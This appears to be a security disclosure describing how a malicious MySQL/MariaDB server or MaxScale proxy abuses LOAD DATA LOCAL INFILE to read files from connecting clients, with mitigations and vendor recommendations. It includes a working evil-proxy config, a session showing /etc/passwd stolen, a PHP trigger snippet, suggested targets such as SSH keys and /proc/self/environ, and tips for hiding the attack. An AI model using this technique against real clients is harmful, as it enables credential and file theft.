Although it is documented that the default binary distributions of MySQL/MariaDB/Percona all seem to be compiled with allow local infile enabled, the warning is misleading:

The transfer of the file from the client host to the server host is initiated by the MySQL server. In theory, a patched server could be built that would tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement. Such a server could access any file on the client host to which the client user has read access.

While this is true, what is not stated is that the malicious server can reply with a request to load data to any query, not just by manipulating a legitimate LOAD DATA LOCAL INFILE request from the Client. A simple example of such an attack can be done using MaxScale as an evil proxy with the following configuration:

[EvilFilter] type=filter module=regexfilter options=ignorecase match=.* replace=LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test.loot;

This will replace any incoming query with a LOAD DATA query that will be sent to the backend. Upon receiving this query the backend sends the LOCAL_INFILE_REQUEST packet which will be processed by the client.

Example attack (MySQL CLI Client):

Evil server:

MariaDB [(none)]> select * from test.loot; Empty set (0.00 sec)

Target server:

mysql -utest -h EVILHOST test Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 30985 Server version: 10.0.0 beta-2.0.0-maxscale Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [test]>

Evil Server

Note that no interaction is necessary. The mysql-cli client executes some queries behind the scenes that end up triggering our malicious payload and allows us to steal /etc/passwd before the target has done anything other than connect.

MariaDB [(none)]> select * from test.loot LIMIT 5; +-------------------------------------------------+ | line | +-------------------------------------------------+ | root:x:0:0:root:/root:/bin/bash | | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin | | bin:x:2:2:bin:/bin:/usr/sbin/nologin | | sys:x:3:3:sys:/dev:/usr/sbin/nologin | | sync:x:4:65534:sync:/bin:/bin/sync | +-------------------------------------------------+ 5 rows in set (0.00 sec)

The evil server can now read any file with the permissions of the client process permissions. If targeting a system administrator, this may include stealing bash histories or SSH private keys. You can also learn more information about your target by grabbing /proc/self/environ.

Example Attack (php_mysqli + php_mysqlnd):

$mysqli = mysqli_connect('EVILHOST', 'test', null, 'test', 3306); $result = mysqli_query($mysqli, "SELECT 1"); $result = mysqli_fetch_assoc($mysqli, $result);

Other Clients

Other vulnerable clients include:

php-mysql (without open basedir)

php-mysqli (with and without php-mysqlnd)

node-mysql

Any library using libmysql included in the binary distributions compiled with ENABLE_LOCAL_INFILE

Potential Attack Vectors

Installers for Wordpress, Drupal, vBulletin, etc

Any applications that allow integration with remote MySQL servers (think Zapier, although they are not vulnerable themselves)

MITM attacks

DNS Cache poisoning

Domain/Typo Squatting

Exposed administration tools such as PHPMyAdmin, although you could just execute the query yourself in that case :)

Good ol' social engineering

Improving the attack

A smarter evil server could accept any username/password/database name as valid

Evil server could take steps to hide the attack by manipulating the packets in the result

Evil server could be changed to not show the table where the stolen information is stored (beyond only giving the attack user INSERT privileges, it could simply not tell the client about that table)

Mitigation

Place local-infile=0 in the [client] section of your /etc/my.cnf or ~/.my.cnf

Make sure your clients are configured to unset that flag if they do not read from configuration files

Why is this news if it's documented behavior?

The documentation does not make clear the full scope of possible attacks and may lead people to believe they are safe if they never execute a LOAD DATA LOCAL INFILE query.

With an evil server, any query executed can trigger the payload as soon as the client processes the reply. Even if we do not control the queries coming from the application

Recommendations

Insecure defaults should be removed and going forward a clear error message such as "You must use --local-infile in order to use this feature" should be used to guide those who depend on this feature

Tools such as mysqlimport keeping this default is acceptable, the mysql client should not

Any client library implementations should disable this flag by default

Other information

All tests were done on:

Debian 8 (Percona/Oracle/MariaDB repos only, distro repos do not appear to be vulnerable)

CentOS 7

WHM/cPanel + EasyApache Builds on CentOS 7

I used the latest packages available from the distributions repositories as well as the versions available from the MariaDB repos.

Only default configurations were used, there were no modifications to the configuration files on the target servers.

Disclosure Notes